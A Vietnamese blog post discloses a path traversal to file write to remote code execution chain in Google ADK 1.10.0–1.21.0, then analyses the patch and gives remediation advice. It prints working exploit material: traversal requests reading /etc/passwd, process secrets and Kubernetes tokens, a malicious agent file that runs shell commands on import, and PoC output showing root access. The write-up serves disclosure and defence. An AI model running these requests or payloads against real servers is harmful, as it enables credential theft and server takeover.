4 HTTP Requests Chiếm Root Server: Google ADK Quên Validate Input, Chuyện Gì Xảy Ra?

Google ADK chứa lỗ hổng Path Traversal + RCE (CVSS 9.8) cho phép chiếm root server chỉ với 4 HTTP request, không cần xác thực. Phân tích chuỗi khai thác và bản vá.

4 HTTP Requests Chiếm Root Server: Google ADK Quên Validate Input, Chuyện Gì Xảy Ra?

TL;DR:

  • FULL POC: https://github.com/maycuatroi1/google-adk-path-traversal
  • Google Agent Development Kit (ADK) phiên bản 1.10.0 - 1.21.0 chứa chuỗi 3 lỗ hổng: Path Traversal → Arbitrary File Write → Remote Code Execution
  • Kẻ tấn công chỉ cần 4 HTTP request, không cần xác thực, để chiếm quyền root trên server
  • Nguyên nhân gốc: không validate user input trước khi nối vào filesystem path - một sai lầm tưởng đã tuyệt chủng từ thập niên 2000
  • Bản vá v1.22.0 đã phát hành nhưng âm thầm, không có security advisory
  • CVSS 9.8 Critical - nâng cấp ngay nếu bạn đang dùng ADK

Bạn mất bao nhiêu HTTP request để chiếm quyền root trên một server? Với Google Agent Development Kit, câu trả lời là bốn. Không cần password, không cần token, không cần victim click vào đường link nào cả. Chỉ cần server bật một feature flag mà chính Google documentation khuyên bạn nên bật.

Trong quá trình kiểm tra bảo mật, tôi tình cờ đọc source code của ADK - framework xây dựng AI agent do Google phát triển. Khi mắt lướt đến dòng 312 trong fast_api.py, tôi dừng lại và đọc lại hai lần. Rồi ba lần. agent_dir / file_path - giá trị từ user input được nối thẳng vào đường dẫn filesystem, không qua bất kỳ validation nào. Đây là năm 2026, và một framework của Google đang mắc lỗi Path Traversal - kiểu lỗ hổng mà sinh viên năm nhất ngành bảo mật cũng biết phải phòng tránh.

Câu chuyện không dừng ở đó. Path Traversal chỉ là cánh cửa đầu tiên. Phía sau nó là Arbitrary File Write, rồi Remote Code Execution. Ba lỗ hổng xếp chồng lên nhau như domino, và khi con đầu tiên đổ, toàn bộ hệ thống sụp theo.

Thông tin Chi tiết
Sản phẩm Google Agent Development Kit (ADK) for Python
Package google-adk (PyPI)
Phiên bản bị ảnh hưởng 1.10.0 đến 1.21.0
Phiên bản đã vá 1.22.0 (8 tháng 1, 2026)
Loại lỗ hổng Path Traversal (CWE-22), Unrestricted File Upload (CWE-434), Code Injection (CWE-94)
Điểm CVSS v3.1 9.8 Critical
Vector tấn công Network (từ xa, không cần xác thực)
Repository google/adk-python

Điều kiện khai thác

Trước khi đi sâu vào kỹ thuật, cần làm rõ một điều: các lỗ hổng này chỉ khai thác được khi biến môi trường ADK_ALLOW_WIP_FEATURES=true được bật. Đây là điều kiện bắt buộc để sử dụng visual builder - tính năng kéo thả để xây dựng agent mà nhiều team đang dùng trong production. Nếu bạn không bật flag này, hệ thống không bị ảnh hưởng. Nhưng thực tế, ai dùng ADK mà không muốn dùng visual builder?

Lỗ hổng 1: Path Traversal - Khi server tin tưởng mù quáng vào user input

Nguyên nhân gốc

Endpoint GET /builder/app/{app_name} nhận tham số file_path từ query string và nối trực tiếp vào đường dẫn filesystem mà không có bất kỳ bước kiểm tra hay làm sạch nào. Nghe quen không? Đây là CWE-22, một trong những lỗ hổng cổ điển nhất trong lịch sử bảo mật web.

Source code lỗi - src/google/adk/cli/fast_api.py dòng 312 (v1.21.0):

Path Traversal - Vulnerable code in fast_api.py line 312

Nhìn vào dòng 312: agent_file_path = agent_dir / file_path. Operator / của Path trong Python chỉ đơn giản nối chuỗi - nó hoàn toàn không ngăn chặn ../ sequences. Kết quả là kẻ tấn công có thể "leo ngược" cây thư mục thoải mái, như một tên trộm phát hiện cửa nhà không khóa.

async def get_agent_builder(
app_name: str,
file_path: Optional[str] = None,
tmp: Optional[bool] = False,
):
base_path = Path.cwd() / agents_dir
agent_dir = base_path / app_name
# ...
agent_file_path = agent_dir / file_path # ← KHÔNG HỀ VALIDATE!
if not agent_file_path.is_file():
return ""
return FileResponse(path=agent_file_path, ...)

Nếu agent_dir/app/agents/test_agent, thì file_path=../../../etc/passwd sẽ resolve thành /app/agents/test_agent/../../../etc/passwd/etc/passwd. Đơn giản đến mức đáng sợ.

Khai thác

# Đọc /etc/passwd
curl "http://target:8000/builder/app/test_agent?file_path=../../../etc/passwd"

# Đọc biến môi trường của process (có thể chứa secret)
curl "http://target:8000/builder/app/test_agent?file_path=../../../proc/self/environ"

# Đọc token Kubernetes service account
curl "http://target:8000/builder/app/test_agent?file_path=../../../var/run/secrets/kubernetes.io/serviceaccount/token"

Tác động

Một request duy nhất có thể đọc được /etc/passwd, /etc/shadow (nếu có quyền), toàn bộ mã nguồn ứng dụng, file cấu hình, và quan trọng nhất là biến môi trường qua /proc/self/environ - nơi thường chứa database password, API key, cloud credentials. Trên Kubernetes, kẻ tấn công còn có thể đánh cắp service account token để truy cập cluster.

Lỗ hổng 2: Arbitrary File Write - Ghi file tùy ý, bất kỳ đâu

Nguyên nhân gốc

Nếu lỗ hổng đầu tiên cho phép đọc, thì lỗ hổng thứ hai cho phép ghi. Endpoint POST /builder/save nhận file upload dạng multipart, tách filename thành agent_name/filename nhưng không validate cả hai thành phần. Không check path traversal, không check content-type, không check gì cả.

Source code lỗi - src/google/adk/cli/fast_api.py dòng 223-224 (v1.21.0):

Arbitrary File Write - Vulnerable code in fast_api.py line 223-224

Dòng 223 split filename bằng / một cách ngây thơ, và dòng 224 nối agent_name vào base path mà không kiểm tra xem nó có chứa .. hay không. Kẻ tấn công chỉ cần đặt filename là ../../wherever/evil.py và file sẽ được ghi đúng vào vị trí đó.

async def builder_build(
files: list[UploadFile], tmp: Optional[bool] = False
) -> bool:
base_path = Path.cwd() / agents_dir
for file in files:
agent_name, filename = file.filename.split("/") # ← KHÔNG VALIDATE!
agent_dir = os.path.join(base_path, agent_name)
os.makedirs(agent_dir, exist_ok=True)
file_path = os.path.join(agent_dir, filename) # ← PATH TRAVERSAL!
with open(file_path, "wb") as buffer:
shutil.copyfileobj(file.file, buffer)

Tác động

Với khả năng ghi file tùy ý, kẻ tấn công có thể ghi đè mã nguồn agent hiện có, tạo agent mới chứa mã Python độc hại, hoặc ghi vào bất kỳ thư mục hệ thống nào mà process ADK có quyền. Và đây chính là mảnh ghép dẫn đến lỗ hổng thứ ba.

Lỗ hổng 3: Remote Code Execution - Khi đọc và ghi biến thành thực thi

Cơ chế

Tôi có thể đọc file bất kỳ. Tôi có thể ghi file bất kỳ. Nhưng làm sao để thực thi code? Câu trả lời nằm ở cách ADK load agent modules.

ADK sử dụng importlib.import_module() để tự động phát hiện và import các agent khi chúng được truy cập. Đây là đặc tính cốt lõi của Python: khi import module_x, Python thực thi toàn bộ code trong module_x.py từ trên xuống dưới - trước cả khi kiểm tra bất kỳ điều kiện nào khác.

Source code lỗi - src/google/adk/cli/utils/agent_loader.py dòng 73 (v1.21.0):

RCE - importlib.import_module in agent_loader.py line 73

Dòng 73: module_candidate = importlib.import_module(agent_name) - đây là điểm trigger. Khi ADK load một agent, nó gọi import_module() với tên agent. Nếu kẻ tấn công đã upload file agent.py vào thư mục có tên agent đó qua Lỗ hổng 2, Python sẽ thực thi toàn bộ code trong file đó tại thời điểm import.

def _load_from_module_or_package(self, agent_name):
module_candidate = importlib.import_module(agent_name) # ← THỰC THI CODE!
if hasattr(module_candidate, "root_agent"):
return module_candidate.root_agent

Bằng cách kết hợp Lỗ hổng 2 (ghi file) với cơ chế auto-import này, kẻ tấn công đạt được thực thi mã từ xa. Ba lỗ hổng riêng lẻ, mỗi cái đều nguy hiểm, nhưng khi xếp chồng lên nhau thì trở thành thảm họa.

Chuỗi tấn công: Từ zero đến root trong 4 request

Toàn bộ chuỗi khai thác không cần xác thực, không cần tương tác người dùng, và có thể tự động hóa hoàn toàn:

skinparam

Bước 1: Upload agent độc hại (POST /builder/save)

Kẻ tấn công upload một file Python với filename evil_agent/agent.py. File này gồm hai phần hoạt động hoàn toàn độc lập với nhau.

Phần đầu là payload thực thi ngay khi import. Code ở top-level (ngoài function/class) sẽ chạy ngay khi Python import module - đây không phải lỗi, đây là đặc tính thiết kế của Python mà ai viết Python cũng biết:

import subprocess
result = subprocess.check_output("id && hostname", shell=True, stderr=subprocess.STDOUT)
with open("/tmp/pwned.txt", "w") as f:
f.write(result.decode())

Phần thứ hai là agent "bình phong" để bypass validation. ADK yêu cầu module phải có root_agent, nên ta cung cấp một agent hợp lệ để không gây error:

from google.adk.agents import Agent
root_agent = Agent(name="evil_agent", model="gemini-2.0-flash",
description="t", instruction="t", tools=[noop])

Server nhận file, tách filename bằng split("/") thành agent_name="evil_agent"filename="agent.py", rồi ghi vào agents/evil_agent/agent.py. Không check, không validate, không sanitize.

Bước 2: Xác nhận agent đã đăng ký (GET /list-apps)

ADK tự động scan thư mục agents và liệt kê tất cả subdirectory. Agent mới upload xuất hiện ngay lập tức trong danh sách:

["evil_agent", "test_agent"]

Bước 3: Trigger import để thực thi code (POST /run)

Khi tạo session và gửi message đến evil_agent, ADK cần load agent module. Nó gọi importlib.import_module("evil_agent"), Python tìm agents/evil_agent/agent.py, rồi thực thi toàn bộ code trong file. Payload subprocess.check_output("id && hostname") chạy ngay, output ghi vào /tmp/pwned.txt.

Điểm tinh vi ở đây: việc gọi /run có thể fail (vì API key không hợp lệ chẳng hạn), nhưng import đã xảy ra trước khi đến bước gọi LLM. Code đã thực thi xong rồi - error sau đó chẳng ảnh hưởng gì.

Bước 4: Đọc kết quả qua Path Traversal (GET /builder/app)

Quay lại dùng Lỗ hổng 1 để đọc file output:

GET /builder/app/evil_agent?file_path=../../../tmp/pwned.txt

Kết quả trả về command output - xác nhận RCE. Path Traversal đóng vai trò cả input (đọc config/secret) lẫn output (đọc kết quả RCE), tạo thành một read-write-execute primitive hoàn chỉnh.

Tại sao chuỗi này đặc biệt nguy hiểm?

Không phải vì từng lỗ hổng phức tạp - ngược lại, chúng đơn giản đến mức đáng xấu hổ. Cái nguy hiểm nằm ở sự kết hợp: zero authentication, tự động hóa hoàn toàn trong vài giây, không cần tương tác người dùng, và ADK Docker image mặc định chạy root nên command thực thi với full privilege. Bạn có một attack chain hoàn chỉnh mà script kiddie cũng khai thác được.

Kết quả chạy POC

Dưới đây là output khi chạy automated POC script (poc.py) đối với ADK v1.21.0 trong Docker container:

╔══════════════════════════════════════════════════════════════╗
 ║  Google ADK Path Traversal + RCE (CVE-XXXX-XXXXX)            ║
 ║  Affected: google-adk 1.10.0 - 1.21.0                        ║
 ║  Endpoints: /builder/app (LFI) + /builder/save (RCE)         ║
 ╚══════════════════════════════════════════════════════════════╝

  [*] Checking target: http://localhost:8000
  [+] ADK API accessible. Agents found: ['test_agent']
  [+] Builder endpoints accessible (ADK_ALLOW_WIP_FEATURES=true)

============================================================
  EXPLOIT 1: Path Traversal (CWE-22)
============================================================

  [*] Target app: test_agent
  [*] Reading: /etc/passwd
  [*] Payload: file_path=../../../../../etc/passwd
  [+] File read successful! (839 bytes)
 /etc/passwd ---
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
  _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin end ---

============================================================
  EXPLOIT 3: Remote Code Execution (CWE-94)
============================================================

  [*] Agent name: rce_9a77df3b
  [*] Command: id && hostname && cat /etc/os-release | head -3
  [*] Output file: /tmp/fde2edcc26f34ba2b619d9f7153c2569.txt
  [*] Step 1: Uploading malicious agent...
  [+] Malicious agent uploaded
  [+] Agent 'rce_9a77df3b' registered in ADK
  [*] Step 2: Creating session to trigger module import...
  [+] Session created: dbeb3567-7312-4506-9e40-ed334879d79a
  [*] Step 3: Triggering agent execution (importlib.import_module)...
  [*] Step 4: Reading command output via path traversal...
  [+] RCE CONFIRMED! Command output:
 command output ---
  uid=0(root) gid=0(root) groups=0(root)
  31c8a745b62f
  PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
  NAME="Debian GNU/Linux"
  VERSION_ID="13" end ---

============================================================
  ALL EXPLOITS COMPLETED
============================================================

Giải thích kết quả:

Exploit 1 (LFI) đọc thành công /etc/passwd từ container - 839 bytes data bao gồm toàn bộ user accounts trên hệ thống, xác nhận path traversal hoạt động. Exploit 3 (RCE) thực thi thành công command id && hostname && cat /etc/os-release | head -3 trên server. Kết quả uid=0(root) cho thấy process chạy dưới quyền root với full privilege, 31c8a745b62f là hostname của Docker container, và Debian GNU/Linux 13 (trixie) là hệ điều hành base image.

Khi lỗ hổng này rơi vào tay kẻ xấu

Để hiểu mức độ nghiêm trọng thực sự, hãy xét ba kịch bản mà bất kỳ AI team nào dùng ADK đều có thể gặp phải.

Kịch bản 1: Đánh cắp credentials trên cloud

Kẻ tấn công phát hiện ADK API server lộ ra internet (Shodan search cho adk trên port 8000 không thiếu kết quả). Dùng path traversal đọc /proc/self/environ để trích xuất database credentials và API keys. Trên Kubernetes thì đọc service account token để truy cập cluster. Trên GCP thì kết hợp RCE với curl đến metadata server để lấy GCP service account token. Từ một lỗ hổng web đơn giản, kẻ tấn công có thể pivot vào toàn bộ cloud infrastructure.

Kịch bản 2: Tấn công chuỗi cung ứng (Supply Chain Attack)

Kịch bản này tinh vi hơn và khó phát hiện hơn nhiều. Kẻ tấn công upload agent độc hại qua /builder/save, nhưng thay vì chạy command ồn ào, agent chứa backdoor âm thầm thu thập dữ liệu từ mọi cuộc hội thoại. Người dùng hợp lệ tương tác với agent mà không biết có backdoor - tất cả prompt, response, và context đều bị exfiltrate. Đây là kịch bản đặc biệt nguy hiểm với các agent xử lý dữ liệu nhạy cảm như tài chính, y tế, hay pháp lý. Nếu bạn quan tâm đến supply chain security nói chung, tôi đã phân tích sâu hơn trong bài viết về SBOM và software supply chain.

Kịch bản 3: Chiếm toàn bộ hạ tầng

Đây là kịch bản "worst case" nhưng hoàn toàn khả thi: path traversal đọc credentials ứng dụng, arbitrary file write triển khai reverse shell agent, RCE thiết lập persistent access, rồi lateral movement qua mạng nội bộ. Từ một endpoint web, kẻ tấn công chiếm toàn bộ mạng.

Phân tích bản vá

Phiên bản 1.22.0 (phát hành ngày 8 tháng 1, 2026) bổ sung năm hàm bảo mật. Đáng chú ý là cách tiếp cận defense-in-depth - không chỉ chặn một chỗ mà validate ở nhiều tầng:

1. Chặn chuỗi .. trong đường dẫn

def _has_parent_reference(path: str) -> bool:
return any(part == ".." for part in path.split("/"))

2. Validate tham số file_path

def _parse_file_path(file_path: str) -> str:
file_path = _normalize_relative_path(file_path)
if not file_path:
raise ValueError("file_path is missing.")
if file_path.startswith("/"):
raise ValueError(f"Absolute file_path rejected: {file_path!r}")
if _has_parent_reference(file_path):
raise ValueError(f"Path traversal rejected: {file_path!r}")
return file_path

3. Kiểm tra canonical path containment

Đây là layer quan trọng nhất - sau khi resolve symlink và normalize path, kiểm tra xem file cuối cùng có nằm trong thư mục cho phép hay không:

def _resolve_under_dir(root_dir: Path, rel_path: str) -> Path:
file_path = root_dir / rel_path
resolved_root_dir = root_dir.resolve()
resolved_file_path = file_path.resolve()
if not resolved_file_path.is_relative_to(resolved_root_dir):
raise ValueError(f"Path escapes root_dir: {rel_path!r}")
return file_path

4. Validate filename upload

def _parse_upload_filename(filename: Optional[str]) -> tuple[str, str]:
if not filename:
raise ValueError("Upload filename is missing.")
filename = _normalize_relative_path(filename)
app_name, rel_path = filename.split("/", 1)
if _has_parent_reference(rel_path):
raise ValueError(f"Path traversal rejected: {filename!r}")
return app_name, rel_path

5. Validate app name

def _get_app_root(app_name: str) -> Path:
if app_name in ("", ".", ".."):
raise ValueError(f"Invalid app name: {app_name!r}")
if Path(app_name).name != app_name or "\\" in app_name:
raise ValueError(f"Invalid app name: {app_name!r}")
app_root = (agents_base_path / app_name).resolve()
if not app_root.is_relative_to(agents_base_path):
raise ValueError(f"Invalid app name: {app_name!r}")
return app_root

Vấn đề với cách Google xử lý disclosure

Bản vá được áp dụng âm thầm - không có security advisory, không có CVE được gán, và không có đề cập trong CHANGELOG.md. Đây là thực hành tệ. Người dùng đang chạy v1.15.0 hay v1.20.0 không có cách nào biết mình đang dùng phiên bản có lỗ hổng CVSS 9.8 trừ khi tự đọc diff giữa các phiên bản. Silent patching bảo vệ vendor khỏi PR xấu, nhưng đặt người dùng vào rủi ro vì họ không biết cần nâng cấp gấp.

Phiên bản bị ảnh hưởng

Phiên bản Trạng thái Ghi chú
< 1.10.0 Không bị ảnh hưởng Builder endpoints chưa được giới thiệu
1.10.0 - 1.21.0 Bị ảnh hưởng Builder endpoints không có kiểm tra đường dẫn
>= 1.22.0 Đã vá Thêm các kiểm tra path traversal

Khuyến nghị xử lý

Hành động ngay lập tức

  1. Nâng cấp lên google-adk >= 1.22.0: pip install --upgrade google-adk
  2. Nếu không thể nâng cấp, tắt builder endpoints bằng cách bỏ thiết lập ADK_ALLOW_WIP_FEATURES
  3. Không expose ADK API server ra mạng không tin cậy nếu không có xác thực
  4. Rotate credentials nếu ADK server đã từng lộ ra internet với builder được bật

Khuyến nghị dài hạn

  1. Đặt ADK API server sau một authentication proxy (OAuth2, API gateway)
  2. Sử dụng network policies để hạn chế truy cập vào builder endpoints
  3. Chạy ADK process dưới user không phải root với quyền filesystem tối thiểu
  4. Giám sát việc tạo agent bất thường hoặc thay đổi file không mong muốn

Dòng thời gian

Ngày Sự kiện
~Q3/2025 Builder endpoints được giới thiệu trong ADK (ước tính v1.10.0)
08/01/2026 v1.22.0 phát hành với bản vá âm thầm (không có advisory)
11/02/2026 Lỗ hổng được phát hiện độc lập trong quá trình kiểm tra bảo mật
23/02/2026 Chuỗi khai thác hoàn chỉnh được xác nhận (LFI → RCE → đánh cắp credentials)
01/03/2026 Yêu cầu cấp CVE được gửi

Chấm điểm CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical

Metric Giá trị Lý giải
Attack Vector Network Khai thác từ xa qua HTTP
Attack Complexity Low Không cần điều kiện đặc biệt
Privileges Required None Không cần xác thực
User Interaction None Tự động hóa hoàn toàn
Scope Unchanged Tác động giới hạn trong hệ thống bị lỗi
Confidentiality High Đọc file tùy ý (secrets, mã nguồn, tokens)
Integrity High Ghi file tùy ý + thực thi mã
Availability High Chiếm toàn quyền hệ thống qua RCE

Bài học rút ra

Câu chuyện của Google ADK nhắc nhở chúng ta vài điều mà ngành này cứ phải học đi học lại.

Input validation không phải optional. Path traversal là lỗ hổng có tuổi đời hơn 20 năm. CWE-22 nằm trong mọi danh sách OWASP từ khi OWASP còn chưa nổi tiếng. Vậy mà năm 2026, một framework của Google vẫn mắc phải. Nếu Google còn quên, thì team của bạn chắc chắn cũng có thể quên. Hãy đưa path validation vào checklist code review.

AI framework không miễn nhiễm với lỗ hổng web cổ điển. Chúng ta hay nghĩ rằng rủi ro bảo mật của AI nằm ở prompt injection, model poisoning, hay data exfiltration qua agent. Nhưng thực tế, những lỗ hổng gây thiệt hại nặng nhất thường là những lỗi web security cơ bản nhất - chỉ là chúng xuất hiện trong context mới. Nếu bạn đang build hoặc deploy AI agent, hãy kiểm tra bảo mật web truyền thống trước khi lo về AI-specific threats. Tôi đã bàn sâu hơn về vấn đề kiểm chứng code trong thời đại AI trong bài viết về Verification Bottleneck.

Silent patching là thực hành tệ. Google vá lỗi nhưng không thông báo, khiến người dùng không biết mình cần nâng cấp gấp. Nếu bạn maintain open-source project, hãy phát hành security advisory khi sửa lỗ hổng nghiêm trọng. Đó là trách nhiệm với community.

Bạn đang dùng Google ADK phiên bản nào? Nếu câu trả lời là bất kỳ phiên bản nào dưới 1.22.0, hãy dừng đọc và chạy pip install --upgrade google-adk ngay bây giờ.

Tham khảo

Phát hiện bởi Binhna trong quá trình kiểm tra bảo mật.